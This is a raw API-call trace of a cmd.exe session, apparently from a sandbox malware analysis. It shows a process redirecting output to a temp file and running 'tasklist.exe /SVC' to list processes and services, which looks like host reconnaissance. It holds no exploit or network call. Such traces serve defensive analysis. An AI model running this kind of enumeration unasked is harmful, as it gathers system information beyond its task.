() returned 0x488b10* [0141.832] GetProcessHeap () returned 0x470000 [0141.832] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xa90) returned 0x48b750 [0141.832] FreeEnvironmentStringsW (penv=0x488b10) returned 1 [0141.832] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.832] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0141.832] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0141.832] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0141.832] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0141.832] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0141.832] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0141.832] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0141.832] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0141.832] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0141.832] GetProcessHeap () returned 0x470000 [0141.832] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x38) returned 0x486500 [0141.832] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f8d0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x28f8d0, lpFilePart=0x28f8b0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x28f8b0*="system32") returned 0x13 [0141.832] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0141.832] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x28f5e0 | out: lpFindFileData=0x28f5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xde0000de, cFileName="Windows", cAlternateFileName="")) returned 0x488970 [0141.832] FindClose (in: hFindFile=0x488970 | out: hFindFile=0x488970) returned 1 [0141.832] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x28f5e0 | out: lpFindFileData=0x28f5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xde0000de, cFileName="System32", cAlternateFileName="")) returned 0x488970 [0141.833] FindClose (in: hFindFile=0x488970 | out: hFindFile=0x488970) returned 1 [0141.833] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0141.833] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0141.833] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0141.833] GetProcessHeap () returned 0x470000 [0141.833] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b750 | out: hHeap=0x470000) returned 1 [0141.833] GetEnvironmentStringsW () returned 0x488b10* [0141.833] GetProcessHeap () returned 0x470000 [0141.833] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xac0) returned 0x48acb0 [0141.833] FreeEnvironmentStringsW (penv=0x488b10) returned 1 [0141.833] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4abfc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.833] GetProcessHeap () returned 0x470000 [0141.833] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x486500 | out: hHeap=0x470000) returned 1 [0141.833] GetProcessHeap () returned 0x470000 [0141.833] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4016) returned 0x48ccc0 [0141.833] GetProcessHeap () returned 0x470000 [0141.833] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xa0) returned 0x48b780 [0141.833] GetProcessHeap () returned 0x470000 [0141.833] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4010) returned 0x490ce0 [0141.834] GetProcessHeap () returned 0x470000 [0141.834] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4010) returned 0x494d00 [0141.834] GetProcessHeap () returned 0x470000 [0141.834] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ccc0 | out: hHeap=0x470000) returned 1 [0141.834] GetConsoleOutputCP () returned 0x1b5 [0141.834] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4abfbfe0 | out: lpCPInfo=0x4abfbfe0) returned 1 [0141.834] GetUserDefaultLCID () returned 0x409 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4abf7b50, cchData=8 | out: lpLCData=":") returned 2 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f9e0, cchData=128 | out: lpLCData="0") returned 2 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f9e0, cchData=128 | out: lpLCData="0") returned 2 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f9e0, cchData=128 | out: lpLCData="1") returned 2 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ac0a740, cchData=8 | out: lpLCData="/") returned 2 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ac0a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ac0a460, cchData=32 | out: lpLCData="Tue") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ac0a420, cchData=32 | out: lpLCData="Wed") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ac0a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ac0a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ac0a360, cchData=32 | out: lpLCData="Sat") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ac0a700, cchData=32 | out: lpLCData="Sun") returned 4 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4abf7b40, cchData=8 | out: lpLCData=".") returned 2 [0141.835] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ac0a4e0, cchData=8 | out: lpLCData=",") returned 2 [0141.835] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0141.836] GetProcessHeap () returned 0x470000 [0141.836] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20c) returned 0x48b8a0 [0141.836] GetConsoleTitleW (in: lpConsoleTitle=0x48b8a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.836] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0141.836] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0141.836] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0141.836] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0141.836] GetProcessHeap () returned 0x470000 [0141.836] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4012) returned 0x48ccc0 [0141.836] GetProcessHeap () returned 0x470000 [0141.836] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ccc0 | out: hHeap=0x470000) returned 1 [0141.837] _wcsicmp (_String1="tasklist.exe", _String2=")") returned 75 [0141.837] _wcsicmp (_String1="FOR", _String2="tasklist.exe") returned -14 [0141.837] _wcsicmp (_String1="FOR/?", _String2="tasklist.exe") returned -14 [0141.837] _wcsicmp (_String1="IF", _String2="tasklist.exe") returned -11 [0141.837] _wcsicmp (_String1="IF/?", _String2="tasklist.exe") returned -11 [0141.837] _wcsicmp (_String1="REM", _String2="tasklist.exe") returned -2 [0141.837] _wcsicmp (_String1="REM/?", _String2="tasklist.exe") returned -2 [0141.837] GetProcessHeap () returned 0x470000 [0141.837] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xb0) returned 0x48bac0 [0141.837] GetProcessHeap () returned 0x470000 [0141.837] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2a) returned 0x486500 [0141.838] GetProcessHeap () returned 0x470000 [0141.838] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x484600 [0141.838] GetProcessHeap () returned 0x470000 [0141.838] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x38) returned 0x486580 [0141.840] GetProcessHeap () returned 0x470000 [0141.840] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x6e) returned 0x48bb80 [0141.841] GetProcessHeap () returned 0x470000 [0141.841] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x28) returned 0x484630 [0141.841] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.841] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.841] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.841] GetFileType (hFile=0x7) returned 0x2 [0141.841] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0141.841] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f8b8 | out: lpMode=0x28f8b8) returned 1 [0141.841] _dup (_FileHandle=1) returned 3 [0141.842] _close (_FileHandle=1) returned 0 [0141.842] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0141.842] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x28f868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0141.842] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0141.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0141.842] GetFileType (hFile=0x50) returned 0x1 [0141.842] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x915 [0141.842] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x28f8c8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x28f8c8*=0) returned 0x914 [0141.842] ReadFile (in: hFile=0x50, lpBuffer=0x28f8b8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f860, lpOverlapped=0x0 | out: lpBuffer=0x28f8b8*, lpNumberOfBytesRead=0x28f860*=0x1, lpOverlapped=0x0) returned 1 [0141.843] GetConsoleTitleW (in: lpConsoleTitle=0x28f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.843] GetFileAttributesW (lpFileName="tasklist.exe" (normalized: "c:\\windows\\system32\\tasklist.exe")) returned 0x20 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="DIR") returned 16 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="ERASE") returned 15 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="DEL") returned 16 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="TYPE") returned -24 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="COPY") returned 17 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="CD") returned 17 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="CHDIR") returned 17 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="RENAME") returned 2 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="REN") returned 2 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="ECHO") returned 15 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="SET") returned 1 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="PAUSE") returned 4 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="DATE") returned 16 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="TIME") returned -8 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="PROMPT") returned 4 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="MD") returned 7 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="MKDIR") returned 7 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="RD") returned 2 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="RMDIR") returned 2 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="PATH") returned 4 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="GOTO") returned 13 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="SHIFT") returned 1 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="CLS") returned 17 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="CALL") returned 17 [0141.844] _wcsicmp (_String1="tasklist.exe", _String2="VERIFY") returned -2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="VER") returned -2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="VOL") returned -2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="EXIT") returned 15 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="SETLOCAL") returned 1 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="ENDLOCAL") returned 15 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="TITLE") returned -8 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="START") returned 1 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="DPATH") returned 16 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="KEYS") returned 9 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="MOVE") returned 7 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="PUSHD") returned 4 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="POPD") returned 4 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="ASSOC") returned 19 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="FTYPE") returned 14 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="BREAK") returned 18 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="COLOR") returned 17 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="MKLINK") returned 7 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="DIR") returned 16 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="ERASE") returned 15 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="DEL") returned 16 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="TYPE") returned -24 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="COPY") returned 17 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="CD") returned 17 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="CHDIR") returned 17 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="RENAME") returned 2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="REN") returned 2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="ECHO") returned 15 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="SET") returned 1 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="PAUSE") returned 4 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="DATE") returned 16 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="TIME") returned -8 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="PROMPT") returned 4 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="MD") returned 7 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="MKDIR") returned 7 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="RD") returned 2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="RMDIR") returned 2 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="PATH") returned 4 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="GOTO") returned 13 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="SHIFT") returned 1 [0141.845] _wcsicmp (_String1="tasklist.exe", _String2="CLS") returned 17 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="CALL") returned 17 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="VERIFY") returned -2 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="VER") returned -2 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="VOL") returned -2 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="EXIT") returned 15 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="SETLOCAL") returned 1 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="ENDLOCAL") returned 15 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="TITLE") returned -8 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="START") returned 1 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="DPATH") returned 16 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="KEYS") returned 9 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="MOVE") returned 7 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="PUSHD") returned 4 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="POPD") returned 4 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="ASSOC") returned 19 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="FTYPE") returned 14 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="BREAK") returned 18 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="COLOR") returned 17 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="MKLINK") returned 7 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="FOR") returned 14 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="IF") returned 11 [0141.846] _wcsicmp (_String1="tasklist.exe", _String2="REM") returned 2 [0141.846] GetProcessHeap () returned 0x470000 [0141.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x218) returned 0x48bc00 [0141.846] GetProcessHeap () returned 0x470000 [0141.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x38) returned 0x486600 [0141.847] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0141.847] GetProcessHeap () returned 0x470000 [0141.847] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x420) returned 0x471320 [0141.847] SetErrorMode (uMode=0x0) returned 0x0 [0141.847] SetErrorMode (uMode=0x1) returned 0x0 [0141.847] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x471330, lpFilePart=0x28f180 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x28f180*="system32") returned 0x13 [0141.847] SetErrorMode (uMode=0x0) returned 0x1 [0141.847] GetProcessHeap () returned 0x470000 [0141.847] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x471320, Size=0x52) returned 0x471320 [0141.847] GetProcessHeap () returned 0x470000 [0141.847] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471320) returned 0x52 [0141.847] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0141.847] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0141.847] GetProcessHeap () returned 0x470000 [0141.847] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x104) returned 0x48be20 [0141.847] GetProcessHeap () returned 0x470000 [0141.847] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1f8) returned 0x48bf30 [0141.851] GetProcessHeap () returned 0x470000 [0141.851] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48bf30, Size=0x106) returned 0x48bf30 [0141.851] GetProcessHeap () returned 0x470000 [0141.851] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48bf30) returned 0x106 [0141.851] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0141.851] GetProcessHeap () returned 0x470000 [0141.851] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xe8) returned 0x48c050 [0141.851] GetProcessHeap () returned 0x470000 [0141.851] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48c050, Size=0x7e) returned 0x48c050 [0141.851] GetProcessHeap () returned 0x470000 [0141.851] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c050) returned 0x7e [0141.852] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0141.852] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\tasklist.exe", fInfoLevelId=0x1, lpFindFileData=0x28eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28eef0) returned 0x488970 [0141.852] GetProcessHeap () returned 0x470000 [0141.852] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x484660 [0141.852] FindClose (in: hFindFile=0x488970 | out: hFindFile=0x488970) returned 1 [0141.852] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0141.852] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0141.852] GetConsoleTitleW (in: lpConsoleTitle=0x28f440, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.852] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f1f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f1b8 | out: lpAttributeList=0x28f1f8, lpSize=0x28f1b8) returned 1 [0141.852] UpdateProcThreadAttribute (in: lpAttributeList=0x28f1f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f1a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f1f8, lpPreviousValue=0x0) returned 1 [0141.852] GetStartupInfoW (in: lpStartupInfo=0x28f310 | out: lpStartupInfo=0x28f310*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0141.852] GetProcessHeap () returned 0x470000 [0141.852] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x20) returned 0x484690 [0141.852] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0141.852] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0141.852] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0141.852] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0141.853] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0141.853] GetProcessHeap () returned 0x470000 [0141.853] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484690 | out: hHeap=0x470000) returned 1 [0141.853] GetProcessHeap () returned 0x470000 [0141.853] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x488970 [0141.854] lstrcmpW (lpString1="\\tasklist.exe", lpString2="\\XCOPY.EXE") returned -1 [0141.855] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\tasklist.exe", lpCommandLine="tasklist.exe /SVC ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x28f230*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="tasklist.exe /SVC ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f1e0 | out: lpCommandLine="tasklist.exe /SVC ", lpProcessInformation=0x28f1e0*(hProcess=0x58, hThread=0x54, dwProcessId=0x6ac, dwThreadId=0x8e4)) returned 1 [0142.014] CloseHandle (hObject=0x54) 